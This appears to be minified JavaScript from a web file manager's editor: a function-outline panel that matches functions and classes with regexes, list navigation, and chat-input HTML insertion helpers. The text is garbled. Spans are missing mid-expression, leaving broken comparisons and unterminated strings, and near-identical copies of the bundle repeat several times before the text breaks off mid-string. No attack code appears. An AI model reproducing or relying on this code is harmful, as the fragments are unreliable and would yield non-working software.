  • ")}),x=r,t(n.join(""))})}},b=function b(e,t){try{return function s(e,t){var i,n,a,r,o=e.indexOf("=");for(-1!=o&&(e=e.substr(o+1)),e+=" ",c=[],0;0No outline for the active view'},"bindEvent":function(e){var t=this;this.$search.bind("keydown",_.bind(this.searchKeyDown,this)),this.$(".tool-close").bind("click",function(){t.display(!1)}),this.$(".search-reset").bind("click",function(){t.$search.val(""),t.searchChange(),t.editorMain.focus()});var i=this.$listBox;i.bind("mousedown",function(e){if(1!=e.which)return!0;this.setCapture&&this.setCapture();$(document).one("mouseup",function(e){i.removeClass("mouseIsDown"),i.releaseCapture&&i.releaseCapture()})}),i.bind("mouseup",function(){t.$search.focusPose()}).delegate(".list-row","mouseover mousedown mouseout mouseup",function(e){t.listMouseEvent(e,$(this))}),this.listenTo(this.preview,"editor.change",this.editorChange)},"support":function(){var e=this.editor.kod.mode;return _.includes(_.keys(h["default"]),e)},"editorChange":function(){this.previewShow&&this.reloadList()},"display":function(e){if(e&&!this.support())return Tips.tips(LNG["explorer.errorFunctionTips"],"warning");if(e){this.initPreviewFinished||(this.initPreviewFinished=!0,this.initPreview());var t="1"==this.editorMain.editorConfig.functionList;if(this.previewShow)return t&&this.editorMain.saveConfig("functionList",0),this.display(!1);t||this.editorMain.saveConfig("functionList",1),this.preview.display(!0,this.displayWidth(),this),this.editorChange()}else this.preview.display(!1,!1,this)},"searchKeyDown":function(e){var t=this.$(".row-select");switch(e.keyCode){case 37:case 39:break;case 38:0!=t.prev().length&&(this.selectFunction(t.prev()),this.selectIntoView()),stopPP(e);break;case 40:0!=t.next().length&&(this.selectFunction(t.next()),this.selectIntoView()),stopPP(e);break;case 27:this.selectFunction(t),this.$search.val(""),this.searchChange(),this.editorMain.focus(),stopPP(e);break;case 13:this.editorMain.focus(),stopPP(e);break;default:this.searchChange()}},"listMouseEvent":function(e,t){var i=this.$listBox,n="mouseIsDown";switch(e.type){case"mouseover":i.hasClass(n)?this.selectFunction(t):t.addClass("row-hover");break;case"mousedown":this.selectFunction(t),i.addClass(n);break;case"mouseout":t.removeClass("row-hover");break;case"mouseup":i.removeClass(n)}},"reloadList":function(){var e=this.editor,t=e.getValue(),i=function i(e){return _.trim(e).replace(/(\{$)/,"")};if(!(1048576=s.start.row&&n[r+1].range&&a=s.start.row&&(o.type+=" row-select");var l=s.start.row+","+s.start.column+","+s.end.row+","+s.end.column,c=i(i(o.theMatch)).substr(0,150);this.listHtml+='\n\t\t\t\t
    \n\t\t\t\t\t\n\t\t\t\t\t'+this.outStr(o.name)+"\n\t\t\t\t
    "}}this.selectIntoView(),this.functionSearch(!0)}},"functionSearch":function(e){var i=this.$search.val();if(this.listHtml){if(!i||""==i)return this.$listBox.html(this.listHtml),void this.selectIntoView();var t=$("
    "+this.listHtml+"
    ");t.find(".cell").each(function(){var e=$(this).text(),t=e.toLowerCase().indexOf(i.toLowerCase());-1!=t?(e=e.substr(0,t)+""+e.substr(t,i.length)+""+e.substr(t+i.length),$(this).html(e)):$(this).parent().remove()}),this.$listBox.html(t.html()),e||this.selectFunction($(this.$listBox.find(".list-row").get(0)))}else this.$listBox.html(this.listEmpty)},"selectFunction":function(e){if(1==e.length){this.$listBox.find(".list-row").removeClass("row-select"),e.addClass("row-select");var t=e.attr("data-range").split(","),i={"start":{"row":parseInt(t[0]),"column":parseInt(t[1])},"end":{"row":parseInt(t[2]),"column":parseInt(t[3])}};this.editor.revealRange(i),this.$search.focusPose()}},"selectIntoView":function(){var e=this.$listBox;if(e.outerHeight()!=e.prop("scrollHeight")){var t=e.scrollTop(),i=t+e.height(),n=e.find(".row-select").index(),a=e.find(".list-row:eq(0)").outerHeight(),r=e.scrollTop();n*a=c&&l.posStart<=c+o[d].length;)n[s].range={"start":{"row":d,"column":l.posStart-c},"end":{"row":d,"column":l.posEnd-c}},l=n[++s];c=c+o[d].length+1}return n}},"regExec":function(e,t){var i=e.match(t.reg);if(i){for(var n=[],a=i.length,r=0,o=e,s=0;s/gi,">")}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=[{"reg":/\s*([_\$\w'"\[\]\.]+)\s*=\s*function(\s*\\s*)?\s*\(.*?\)[\s:\<\{]/g,"regName":/\s*([_\$\w'"\[\]\.]+)\s*=\s*function(\s*\\s*)?\s*(\(.*?\))/,"regIndex":1,"regNameAll":[1,3],"type":"function function-var"},{"reg":/\s+([_\w\$\.]+)\s*=\s*\(.*?\)(:.*?)?\s*=>\s*\{/g,"regName":/\s+([_\w\$\.]+)\s*=\s*(\(.*?\))\s*/,"regIndex":1,"regNameAll":[1,2],"type":"function function-var"},{"reg":/\s*function[\*\s]+([_\w\$]+)\s*\(.*?\)\s*\{/g,"regName":/\s*function[\*\s]+([_\w\$]+)\s*(.*)/,"regIndex":1,"regNameAll":[1,2],"type":"function function-define"},{"reg":/\s*([_\w\$]+)\s*:\s*function\s*\(.*?\)\s*\{/g,"regName":/\s*([_\w\$]+)\s*:\s*function\s*(\(.*?\))/,"regIndex":1,"regNameAll":[1,2],"type":"function function-value"},{"reg":/\s*([_\w\$]+)\s*:\s*\(.*?\)(:.*?)?\s*=>\s*\{/g,"regName":/\s*([_\w\$]+)\s*:\s*(\(.*?\))/,"regIndex":1,"regNameAll":[1,2],"type":"function function-value"},{"reg":/(^|\s+|;|,|\}|\{)class\s+([_\w\$]*)\s*.*\{/g,"regName":/class\s+([_\w\$]*)\s*.*\{/,"regIndex":1,"type":"class"},{"reg":/((\{\s*)|(\}\s*)|(\*\/\s*))(\/\*.*?\*\/)?(static\s+)?((?!(for|if|while|with|catch))[_\w\$]+)\s*\(.*?\)\s*\{/g,"regName":/([_\w\$]+)\s*(\(.*\))/,"regIndex":1,"regNameAll":[1,2],"type":"function function-value"}],a=[{"reg":/(\}|^|\n)\s*([\w\-\.#\&\*\^_\$\s\:\>\+,@\(\)]+)\s*{/g,"regName":/(,?)\s*([\w\-\.#\&\*\^_\$\s\:\>\+,@\(\)]+)\s*{/,"regIndex":2,"regNameAll":[2],"type":"function"}];t["default"]={"php":[{"reg":/\n.*?\s*function\s+([_\w]+)\s*\(.*\)*/g,"regName":/.*function\s+(.*\))/,"regIndex":1,"typeExtents":{"function-value":/\s*(private|protected)\s*/,"function-var":/\s*(public)\s*/},"type":"function"},{"reg":/\s*class\s+(\w*)\s*.*\{/g,"regName":/\s*class\s+(\w*)\s*.*\{/,"regIndex":1,"type":"class"}],"css":a,"less":a,"sass":a,"javascript":n,"typescript":_.concat(n,[{"reg":/\s*function\s+([_\w\$]+)\s*\\[\]\.&,:-]*\)\s*\{/g,"regName":/\s+(\w+)\s*\(/,"regIndex":1,"type":"function"},{"reg":/\s*(\w+)::~?(\w+)\s*\([\w\s\n\*\/\<\>\[\]\.&,:-]*\)\s*\{/g,"regName":/\s*(\w+)::~?(\w+)\s*\(/,"regIndex":2,"type":"function function-define"},{"reg":/\s*class\s+(\w+)\s*:/g,"regName":/\s*class\s+(\w+)\s*:/,"regIndex":1,"type":"class"}]}},function(e,t,i){"use strict";var a=i(0);e.exports=function(e){e=e||{};var t="",i=a.$escape,n=e.LNG;return t+='";this.insertHtml(t)},"insertReply":function(e,t){var i='data-node="param" data-key="reply" data-value="'+t+'" class="chat-block-reply"';this.insertBlock(e,i)},"insertAt":function(e,t){var i='data-node="param" data-key="at" data-value="'+t+'" class="chat-block-at"';this.insertBlock(e,i)},"insertBlock":function(e,t){var i='";this.insertHtml(i)},"insertText":function(e){var t=this.parent.toHtmlEditor(e);this.insertHtml(t)},"insertHtml":function(e){this.focus(),this.trigger("insertHtml",e),this.insertHtmlAdd(e),this.$input.trigger("change"),this.trigger("change",e),this.scrollToCursor()},"insertHtmlRun":function(t){if($.browserIS.uc)return this.insertHtmlAdd(t);var i=!1;try{i=document.execCommand("insertHTML",!1,t)}catch(e){}i||this.insertHtmlAdd(t)},"insertHtmlAdd":function(e){if(document.selection&&"Control"!=document.selection.type)return document.selection.createRange().pasteHTML(e);if(this.range||(this.focus(),this.setRange()),this.selection){var t=this.range.createContextualFragment(e),i=t.lastChild;this.range.deleteContents(),this.range.insertNode(t),this.range.setStartAfter(i),this.selection.removeAllRanges(),this.selection.addRange(this.range),this.focus()}},"setRange":function(){if(this.selection=null,window.getSelection){var e=window.getSelection();this.selection=0":"string"==typeof t?t:t!=undefined&&null!=t?JSON.stringify(t):" ",x&&x[e]===r[e]||(i=''+i+""),n.push("
  • "+i+"
  • ")}),x=r,t(n.join(""))})}},b=function b(e,t){try{return function o(e,t){var i,n,a,r,s=e.indexOf("=");for(-1!=s&&(e=e.substr(s+1)),e+=" ",c=[],0;0No outline for the active view'},"bindEvent":function(e){var t=this;this.$search.bind("keydown",_.bind(this.searchKeyDown,this)),this.$(".tool-close").bind("click",function(){t.display(!1)}),this.$(".search-reset").bind("click",function(){t.$search.val(""),t.searchChange(),t.editorMain.focus()});var i=this.$listBox;i.bind("mousedown",function(e){if(1!=e.which)return!0;this.setCapture&&this.setCapture();$(document).one("mouseup",function(e){i.removeClass("mouseIsDown"),i.releaseCapture&&i.releaseCapture()})}),i.bind("mouseup",function(){t.$search.focusPose()}).delegate(".list-row","mouseover mousedown mouseout mouseup",function(e){t.listMouseEvent(e,$(this))}),this.listenTo(this.preview,"editor.change",this.editorChange)},"support":function(){var e=this.editor.kod.mode;return _.includes(_.keys(h["default"]),e)},"editorChange":function(){this.previewShow&&this.reloadList()},"display":function(e){if(e&&!this.support())return Tips.tips(LNG["explorer.errorFunctionTips"],"warning");if(e){this.initPreviewFinished||(this.initPreviewFinished=!0,this.initPreview());var t="1"==this.editorMain.editorConfig.functionList;if(this.previewShow)return t&&this.editorMain.saveConfig("functionList",0),this.display(!1);t||this.editorMain.saveConfig("functionList",1),this.preview.display(!0,this.displayWidth(),this),this.editorChange()}else this.preview.display(!1,!1,this)},"searchKeyDown":function(e){var t=this.$(".row-select");switch(e.keyCode){case 37:case 39:break;case 38:0!=t.prev().length&&(this.selectFunction(t.prev()),this.selectIntoView()),stopPP(e);break;case 40:0!=t.next().length&&(this.selectFunction(t.next()),this.selectIntoView()),stopPP(e);break;case 27:this.selectFunction(t),this.$search.val(""),this.searchChange(),this.editorMain.focus(),stopPP(e);break;case 13:this.editorMain.focus(),stopPP(e);break;default:this.searchChange()}},"listMouseEvent":function(e,t){var i=this.$listBox,n="mouseIsDown";switch(e.type){case"mouseover":i.hasClass(n)?this.selectFunction(t):t.addClass("row-hover");break;case"mousedown":this.selectFunction(t),i.addClass(n);break;case"mouseout":t.removeClass("row-hover");break;case"mouseup":i.removeClass(n)}},"reloadList":function(){var e=this.editor,t=e.getValue(),i=function i(e){return _.trim(e).replace(/(\{$)/,"")};if(!(1048576=o.start.row&&n[r+1].range&&a=o.start.row&&(s.type+=" row-select");var l=o.start.row+","+o.start.column+","+o.end.row+","+o.end.column,c=i(i(s.theMatch)).substr(0,150);this.listHtml+='\n\t\t\t\t
    \n\t\t\t\t\t\n\t\t\t\t\t'+this.outStr(s.name)+"\n\t\t\t\t
    "}}this.selectIntoView(),this.functionSearch(!0)}},"functionSearch":function(e){var i=this.$search.val();if(this.listHtml){if(!i||""==i)return this.$listBox.html(this.listHtml),void this.selectIntoView();var t=$("
    "+this.listHtml+"
    ");t.find(".cell").each(function(){var e=$(this).text(),t=e.toLowerCase().indexOf(i.toLowerCase());-1!=t?(e=e.substr(0,t)+""+e.substr(t,i.length)+""+e.substr(t+i.length),$(this).html(e)):$(this).parent().remove()}),this.$listBox.html(t.html()),e||this.selectFunction($(this.$listBox.find(".list-row").get(0)))}else this.$listBox.html(this.listEmpty)},"selectFunction":function(e){if(1==e.length){this.$listBox.find(".list-row").removeClass("row-select"),e.addClass("row-select");var t=e.attr("data-range").split(","),i={"start":{"row":parseInt(t[0]),"column":parseInt(t[1])},"end":{"row":parseInt(t[2]),"column":parseInt(t[3])}};this.editor.revealRange(i),this.$search.focusPose()}},"selectIntoView":function(){var e=this.$listBox;if(e.outerHeight()!=e.prop("scrollHeight")){var t=e.scrollTop(),i=t+e.height(),n=e.find(".row-select").index(),a=e.find(".list-row:eq(0)").outerHeight(),r=e.scrollTop();n*a=c&&l.posStart<=c+s[d].length;)n[o].range={"start":{"row":d,"column":l.posStart-c},"end":{"row":d,"column":l.posEnd-c}},l=n[++o];c=c+s[d].length+1}return n}},"regExec":function(e,t){var i=e.match(t.reg);if(i){for(var n=[],a=i.length,r=0,s=e,o=0;o/gi,">")}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=[{"reg":/\s*([_\$\w'"\[\]\.]+)\s*=\s*function(\s*\\s*)?\s*\(.*?\)[\s:\<\{]/g,"regName":/\s*([_\$\w'"\[\]\.]+)\s*=\s*function(\s*\\s*)?\s*(\(.*?\))/,"regIndex":1,"regNameAll":[1,3],"type":"function function-var"},{"reg":/\s+([_\w\$\.]+)\s*=\s*\(.*?\)(:.*?)?\s*=>\s*\{/g,"regName":/\s+([_\w\$\.]+)\s*=\s*(\(.*?\))\s*/,"regIndex":1,"regNameAll":[1,2],"type":"function function-var"},{"reg":/\s*function[\*\s]+([_\w\$]+)\s*\(.*?\)\s*\{/g,"regName":/\s*function[\*\s]+([_\w\$]+)\s*(.*)/,"regIndex":1,"regNameAll":[1,2],"type":"function function-define"},{"reg":/\s*([_\w\$]+)\s*:\s*function\s*\(.*?\)\s*\{/g,"regName":/\s*([_\w\$]+)\s*:\s*function\s*(\(.*?\))/,"regIndex":1,"regNameAll":[1,2],"type":"function function-value"},{"reg":/\s*([_\w\$]+)\s*:\s*\(.*?\)(:.*?)?\s*=>\s*\{/g,"regName":/\s*([_\w\$]+)\s*:\s*(\(.*?\))/,"regIndex":1,"regNameAll":[1,2],"type":"function function-value"},{"reg":/(^|\s+|;|,|\}|\{)class\s+([_\w\$]*)\s*.*\{/g,"regName":/class\s+([_\w\$]*)\s*.*\{/,"regIndex":1,"type":"class"},{"reg":/((\{\s*)|(\}\s*)|(\*\/\s*))(\/\*.*?\*\/)?(static\s+)?((?!(for|if|while|with|catch))[_\w\$]+)\s*\(.*?\)\s*\{/g,"regName":/([_\w\$]+)\s*(\(.*\))/,"regIndex":1,"regNameAll":[1,2],"type":"function function-value"}],a=[{"reg":/(\}|^|\n)\s*([\w\-\.#\&\*\^_\$\s\:\>\+,@\(\)]+)\s*{/g,"regName":/(,?)\s*([\w\-\.#\&\*\^_\$\s\:\>\+,@\(\)]+)\s*{/,"regIndex":2,"regNameAll":[2],"type":"function"}];t["default"]={"php":[{"reg":/\n.*?\s*function\s+([_\w]+)\s*\(.*\)*/g,"regName":/.*function\s+(.*\))/,"regIndex":1,"typeExtents":{"function-value":/\s*(private|protected)\s*/,"function-var":/\s*(public)\s*/},"type":"function"},{"reg":/\s*class\s+(\w*)\s*.*\{/g,"regName":/\s*class\s+(\w*)\s*.*\{/,"regIndex":1,"type":"class"}],"css":a,"less":a,"sass":a,"javascript":n,"typescript":_.concat(n,[{"reg":/\s*function\s+([_\w\$]+)\s*\\[\]\.&,:-]*\)\s*\{/g,"regName":/\s+(\w+)\s*\(/,"regIndex":1,"type":"function"},{"reg":/\s*(\w+)::~?(\w+)\s*\([\w\s\n\*\/\<\>\[\]\.&,:-]*\)\s*\{/g,"regName":/\s*(\w+)::~?(\w+)\s*\(/,"regIndex":2,"type":"function function-define"},{"reg":/\s*class\s+(\w+)\s*:/g,"regName":/\s*class\s+(\w+)\s*:/,"regIndex":1,"type":"class"}]}},function(e,t,i){"use strict";var a=i(0);e.exports=function(e){e=e||{};var t="",i=a.$escape,n=e.LNG;return t+='";this.insertHtml(t)},"insertReply":function(e,t){var i='data-node="param" data-key="reply" data-value="'+t+'" class="chat-block-reply"';this.insertBlock(e,i)},"insertAt":function(e,t){var i='data-node="param" data-key="at" data-value="'+t+'" class="chat-block-at"';this.insertBlock(e,i)},"insertBlock":function(e,t){var i='";this.insertHtml(i)},"insertText":function(e){var t=this.parent.toHtmlEditor(e);this.insertHtml(t)},"insertHtml":function(e){this.focus(),this.trigger("insertHtml",e),this.insertHtmlAdd(e),this.$input.trigger("change"),this.trigger("change",e),this.scrollToCursor()},"insertHtmlRun":function(t){if($.browserIS.uc)return this.insertHtmlAdd(t);var i=!1;try{i=document.execCommand("insertHTML",!1,t)}catch(e){}i||this.insertHtmlAdd(t)},"insertHtmlAdd":function(e){if(document.selection&&"Control"!=document.selection.type)return document.selection.createRange().pasteHTML(e);if(this.range||(this.focus(),this.setRange()),this.selection){var t=this.range.createContextualFragment(e),i=t.lastChild;this.range.deleteContents(),this.range.insertNode(t),this.range.setStartAfter(i),this.selection.removeAllRanges(),this.selection.addRange(this.range),this.focus()}},"setRange":function(){if(this.selection=null,window.getSelection){var e=window.getSelection();this.selection=0":"string"==typeof t?t:t!=undefined&&null!=t?JSON.stringify(t):" ",v&&v[e]===s[e]||(i=''+i+""),n.push("
  • "+i+"
  • ")}),v=s,t(n.join(""))})}},b=function b(e,t){try{return function o(e,t){var i,n,a,s,r=e.indexOf("=");for(-1!=r&&(e=e.substr(r+1)),e+=" ",c=[],0;0No outline for the active view'},"bindEvent":function(e){var t=this;this.$search.bind("keydown",_.bind(this.searchKeyDown,this)),this.$(".tool-close").bind("click",function(){t.display(!1)}),this.$(".search-reset").bind("click",function(){t.$search.val(""),t.searchChange(),t.editorMain.focus()});var i=this.$listBox;i.bind("mousedown",function(e){if(1!=e.which)return!0;this.setCapture&&this.setCapture();$(document).one("mouseup",function(e){i.removeClass("mouseIsDown"),i.releaseCapture&&i.releaseCapture()})}),i.bind("mouseup",function(){t.$search.focusPose()}).delegate(".list-row","mouseover mousedown mouseout mouseup",function(e){t.listMouseEvent(e,$(this))}),this.listenTo(this.preview,"editor.change",this.editorChange)},"support":function(){var e=this.editor.kod.mode;return _.includes(_.keys(u["default"]),e)},"editorChange":function(){this.previewShow&&this.reloadList()},"display":function(e){if(e&&!this.support())return Tips.tips(LNG["explorer.errorFunctionTips"],"warning");if(e){this.initPreviewFinished||(this.initPreviewFinished=!0,this.initPreview());var t="1"==this.editorMain.editorConfig.functionList;if(this.previewShow)return t&&this.editorMain.saveConfig("functionList",0),this.display(!1);t||this.editorMain.saveConfig("functionList",1),this.preview.display(!0,this.displayWidth(),this),this.editorChange()}else this.preview.display(!1,!1,this)},"searchKeyDown":function(e){var t=this.$(".row-select");switch(e.keyCode){case 37:case 39:break;case 38:0!=t.prev().length&&(this.selectFunction(t.prev()),this.selectIntoView()),stopPP(e);break;case 40:0!=t.next().length&&(this.selectFunction(t.next()),this.selectIntoView()),stopPP(e);break;case 27:this.selectFunction(t),this.$search.val(""),this.searchChange(),this.editorMain.focus(),stopPP(e);break;case 13:this.editorMain.focus(),stopPP(e);break;default:this.searchChange()}},"listMouseEvent":function(e,t){var i=this.$listBox,n="mouseIsDown";switch(e.type){case"mouseover":i.hasClass(n)?this.selectFunction(t):t.addClass("row-hover");break;case"mousedown":this.selectFunction(t),i.addClass(n);break;case"mouseout":t.removeClass("row-hover");break;case"mouseup":i.removeClass(n)}},"reloadList":function(){var e=this.editor,t=e.getValue(),i=function i(e){return _.trim(e).replace(/(\{$)/,"")};if(!(1048576=o.start.row&&n[s+1].range&&a=o.start.row&&(r.type+=" row-select");var l=o.start.row+","+o.start.column+","+o.end.row+","+o.end.column,c=i(i(r.theMatch)).substr(0,150);this.listHtml+='\n\t\t\t\t
    \n\t\t\t\t\t\n\t\t\t\t\t'+this.outStr(r.name)+"\n\t\t\t\t
    "}}this.selectIntoView(),this.functionSearch(!0)}},"functionSearch":function(e){var i=this.$search.val();if(this.listHtml){if(!i||""==i)return this.$listBox.html(this.listHtml),void this.selectIntoView();var t=$("
    "+this.listHtml+"
    ");t.find(".cell").each(function(){var e=$(this).text(),t=e.toLowerCase().indexOf(i.toLowerCase());-1!=t?(e=e.substr(0,t)+""+e.substr(t,i.length)+""+e.substr(t+i.length),$(this).html(e)):$(this).parent().remove()}),this.$listBox.html(t.html()),e||this.selectFunction($(this.$listBox.find(".list-row").get(0)))}else this.$listBox.html(this.listEmpty)},"selectFunction":function(e){if(1==e.length){this.$listBox.find(".list-row").removeClass("row-select"),e.addClass("row-select");var t=e.attr("data-range").split(","),i={"start":{"row":parseInt(t[0]),"column":parseInt(t[1])},"end":{"row":parseInt(t[2]),"column":parseInt(t[3])}};this.editor.revealRange(i),this.$search.focusPose()}},"selectIntoView":function(){var e=this.$listBox;if(e.outerHeight()!=e.prop("scrollHeight")){var t=e.scrollTop(),i=t+e.height(),n=e.find(".row-select").index(),a=e.find(".list-row:eq(0)").outerHeight(),s=e.scrollTop();n*a=c&&l.posStart<=c+r[d].length;)n[o].range={"start":{"row":d,"column":l.posStart-c},"end":{"row":d,"column":l.posEnd-c}},l=n[++o];c=c+r[d].length+1}return n}},"regExec":function(e,t){var i=e.match(t.reg);if(i){for(var n=[],a=i.length,s=0,r=e,o=0;o/gi,">")}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=[{"reg":/\s*([_\$\w'"\[\]\.]+)\s*=\s*function(\s*\\s*)?\s*\(.*?\)[\s:\<\{]/g,"regName":/\s*([_\$\w'"\[\]\.]+)\s*=\s*function(\s*\\s*)?\s*(\(.*?\))/,"regIndex":1,"regNameAll":[1,3],"type":"function function-var"},{"reg":/\s+([_\w\$\.]+)\s*=\s*\(.*?\)(:.*?)?\s*=>\s*\{/g,"regName":/\s+([_\w\$\.]+)\s*=\s*(\(.*?\))\s*/,"regIndex":1,"regNameAll":[1,2],"type":"function function-var"},{"reg":/\s*function[\*\s]+([_\w\$]+)\s*\(.*?\)\s*\{/g,"regName":/\s*function[\*\s]+([_\w\$]+)\s*(.*)/,"regIndex":1,"regNameAll":[1,2],"type":"function function-define"},{"reg":/\s*([_\w\$]+)\s*:\s*function\s*\(.*?\)\s*\{/g,"regName":/\s*([_\w\$]+)\s*:\s*function\s*(\(.*?\))/,"regIndex":1,"regNameAll":[1,2],"type":"function function-value"},{"reg":/\s*([_\w\$]+)\s*:\s*\(.*?\)(:.*?)?\s*=>\s*\{/g,"regName":/\s*([_\w\$]+)\s*:\s*(\(.*?\))/,"regIndex":1,"regNameAll":[1,2],"type":"function function-value"},{"reg":/(^|\s+|;|,|\}|\{)class\s+([_\w\$]*)\s*.*\{/g,"regName":/class\s+([_\w\$]*)\s*.*\{/,"regIndex":1,"type":"class"},{"reg":/((\{\s*)|(\}\s*)|(\*\/\s*))(\/\*.*?\*\/)?(static\s+)?((?!(for|if|while|with|catch))[_\w\$]+)\s*\(.*?\)\s*\{/g,"regName":/([_\w\$]+)\s*(\(.*\))/,"regIndex":1,"regNameAll":[1,2],"type":"function function-value"}],a=[{"reg":/(\}|^|\n)\s*([\w\-\.#\&\*\^_\$\s\:\>\+,@\(\)]+)\s*{/g,"regName":/(,?)\s*([\w\-\.#\&\*\^_\$\s\:\>\+,@\(\)]+)\s*{/,"regIndex":2,"regNameAll":[2],"type":"function"}];t["default"]={"php":[{"reg":/\n.*?\s*function\s+([_\w]+)\s*\(.*\)*/g,"regName":/.*function\s+(.*\))/,"regIndex":1,"typeExtents":{"function-value":/\s*(private|protected)\s*/,"function-var":/\s*(public)\s*/},"type":"function"},{"reg":/\s*class\s+(\w*)\s*.*\{/g,"regName":/\s*class\s+(\w*)\s*.*\{/,"regIndex":1,"type":"class"}],"css":a,"less":a,"sass":a,"javascript":n,"typescript":_.concat(n,[{"reg":/\s*function\s+([_\w\$]+)\s*\\[\]\.&,:-]*\)\s*\{/g,"regName":/\s+(\w+)\s*\(/,"regIndex":1,"type":"function"},{"reg":/\s*(\w+)::~?(\w+)\s*\([\w\s\n\*\/\<\>\[\]\.&,:-]*\)\s*\{/g,"regName":/\s*(\w+)::~?(\w+)\s*\(/,"regIndex":2,"type":"function function-define"},{"reg":/\s*class\s+(\w+)\s*:/g,"regName":/\s*class\s+(\w+)\s*:/,"regIndex":1,"type":"class"}]}},function(e,t,i){"use strict";var a=i(0);e.exports=function(e){e=e||{};var t="",i=a.$escape,n=e.LNG;return t+='";this.insertHtml(t)},"insertReply":function(e,t){var i='data-node="param" data-key="reply" data-value="'+t+'" class="chat-block-reply"';this.insertBlock(e,i)},"insertAt":function(e,t){var i='data-node="param" data-key="at" data-value="'+t+'" class="chat-block-at"';this.insertBlock(e,i)},"insertBlock":function(e,t){var i='";this.insertHtml(i)},"insertText":function(e){var t=this.parent.toHtmlEditor(e);this.insertHtml(t)},"insertHtml":function(e){this.focus(),this.trigger("insertHtml",e),this.insertHtmlAdd(e),this.$input.trigger("change"),this.trigger("change",e),this.scrollToCursor()},"insertHtmlRun":function(t){if($.browserIS.uc)return this.insertHtmlAdd(t);var i=!1;try{i=document.execCommand("insertHTML",!1,t)}catch(e){}i||this.insertHtmlAdd(t)},"insertHtmlAdd":function(e){if(document.selection&&"Control"!=document.selection.type)return document.selection.createRange().pasteHTML(e);if(this.range||(this.focus(),this.setRange()),this.selection){var t=this.range.createContextualFragment(e),i=t.lastChild;this.range.deleteContents(),this.range.insertNode(t),this.range.setStartAfter(i),this.selection.removeAllRanges(),this.selection.addRange(this.range),this.focus()}},"setRange":function(){if(this.selection=null,window.getSelection){var e=window.getSelection();this.selection=0":"string"==typeof t?t:t!=undefined&&null!=t?JSON.stringify(t):" ",v&&v[e]===s[e]||(i=''+i+""),n.push("
  • "+i+"
  • ")}),v=s,t(n.join(""))})}},b=function b(e,t){try{return function o(e,t){var i,n,a,s,r=e.indexOf("=");for(-1!=r&&(e=e.substr(r+1)),e+=" ",c=[],0;0No outline for the active view'},"bindEvent":function(e){var t=this;this.$search.bind("keydown",_.bind(this.searchKeyDown,this)),this.$(".tool-close").bind("click",function(){t.display(!1)}),this.$(".search-reset").bind("click",function(){t.$search.val(""),t.searchChange(),t.editorMain.focus()});var i=this.$listBox;i.bind("mousedown",function(e){if(1!=e.which)return!0;this.setCapture&&this.setCapture();$(document).one("mouseup",function(e){i.removeClass("mouseIsDown"),i.releaseCapture&&i.releaseCapture()})}),i.bind("mouseup",function(){t.$search.focusPose()}).delegate(".list-row","mouseover mousedown mouseout mouseup",function(e){t.listMouseEvent(e,$(this))}),this.listenTo(this.preview,"editor.change",this.editorChange)},"support":function(){var e=this.editor.kod.mode;return _.includes(_.keys(u["default"]),e)},"editorChange":function(){this.previewShow&&this.reloadList()},"display":function(e){if(e&&!this.support())return Tips.tips(LNG["explorer.errorFunctionTips"],"warning");if(e){this.initPreviewFinished||(this.initPreviewFinished=!0,this.initPreview());var t="1"==this.editorMain.editorConfig.functionList;if(this.previewShow)return t&&this.editorMain.saveConfig("functionList",0),this.display(!1);t||this.editorMain.saveConfig("functionList",1),this.preview.display(!0,this.displayWidth(),this),this.editorChange()}else this.preview.display(!1,!1,this)},"searchKeyDown":function(e){var t=this.$(".row-select");switch(e.keyCode){case 37:case 39:break;case 38:0!=t.prev().length&&(this.selectFunction(t.prev()),this.selectIntoView()),stopPP(e);break;case 40:0!=t.next().length&&(this.selectFunction(t.next()),this.selectIntoView()),stopPP(e);break;case 27:this.selectFunction(t),this.$search.val(""),this.searchChange(),this.editorMain.focus(),stopPP(e);break;case 13:this.editorMain.focus(),stopPP(e);break;default:this.searchChange()}},"listMouseEvent":function(e,t){var i=this.$listBox,n="mouseIsDown";switch(e.type){case"mouseover":i.hasClass(n)?this.selectFunction(t):t.addClass("row-hover");break;case"mousedown":this.selectFunction(t),i.addClass(n);break;case"mouseout":t.removeClass("row-hover");break;case"mouseup":i.removeClass(n)}},"reloadList":function(){var e=this.editor,t=e.getValue(),i=function i(e){return _.trim(e).replace(/(\{$)/,"")};if(!(1048576=o.start.row&&n[s+1].range&&a=o.start.row&&(r.type+=" row-select");var l=o.start.row+","+o.start.column+","+o.end.row+","+o.end.column,c=i(i(r.theMatch)).substr(0,150);this.listHtml+='\n\t\t\t\t
    \n\t\t\t\t\t\n\t\t\t\t\t'+this.outStr(r.name)+"\n\t\t\t\t
    "}}this.selectIntoView(),this.functionSearch(!0)}},"functionSearch":function(e){var i=this.$search.val();if(this.listHtml){if(!i||""==i)return this.$listBox.html(this.listHtml),void this.selectIntoView();var t=$("
    "+this.listHtml+"
    ");t.find(".cell").each(function(){var e=$(this).text(),t=e.toLowerCase().indexOf(i.toLowerCase());-1!=t?(e=e.substr(0,t)+""+e.substr(t,i.length)+""+e.substr(t+i.length),$(this).html(e)):$(this).parent().remove()}),this.$listBox.html(t.html()),e||this.selectFunction($(this.$listBox.find(".list-row").get(0)))}else this.$listBox.html(this.listEmpty)},"selectFunction":function(e){if(1==e.length){this.$listBox.find(".list-row").removeClass("row-select"),e.addClass("row-select");var t=e.attr("data-range").split(","),i={"start":{"row":parseInt(t[0]),"column":parseInt(t[1])},"end":{"row":parseInt(t[2]),"column":parseInt(t[3])}};this.editor.revealRange(i),this.$search.focusPose()}},"selectIntoView":function(){var e=this.$listBox;if(e.outerHeight()!=e.prop("scrollHeight")){var t=e.scrollTop(),i=t+e.height(),n=e.find(".row-select").index(),a=e.find(".list-row:eq(0)").outerHeight(),s=e.scrollTop();n*a=c&&l.posStart<=c+r[d].length;)n[o].range={"start":{"row":d,"column":l.posStart-c},"end":{"row":d,"column":l.posEnd-c}},l=n[++o];c=c+r[d].length+1}return n}},"regExec":function(e,t){var i=e.match(t.reg);if(i){for(var n=[],a=i.length,s=0,r=e,o=0;o/gi,">")}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=[{"reg":/\s*([_\$\w'"\[\]\.]+)\s*=\s*function(\s*\\s*)?\s*\(.*?\)[\s:\<\{]/g,"regName":/\s*([_\$\w'"\[\]\.]+)\s*=\s*function(\s*\\s*)?\s*(\(.*?\))/,"regIndex":1,"regNameAll":[1,3],"type":"function 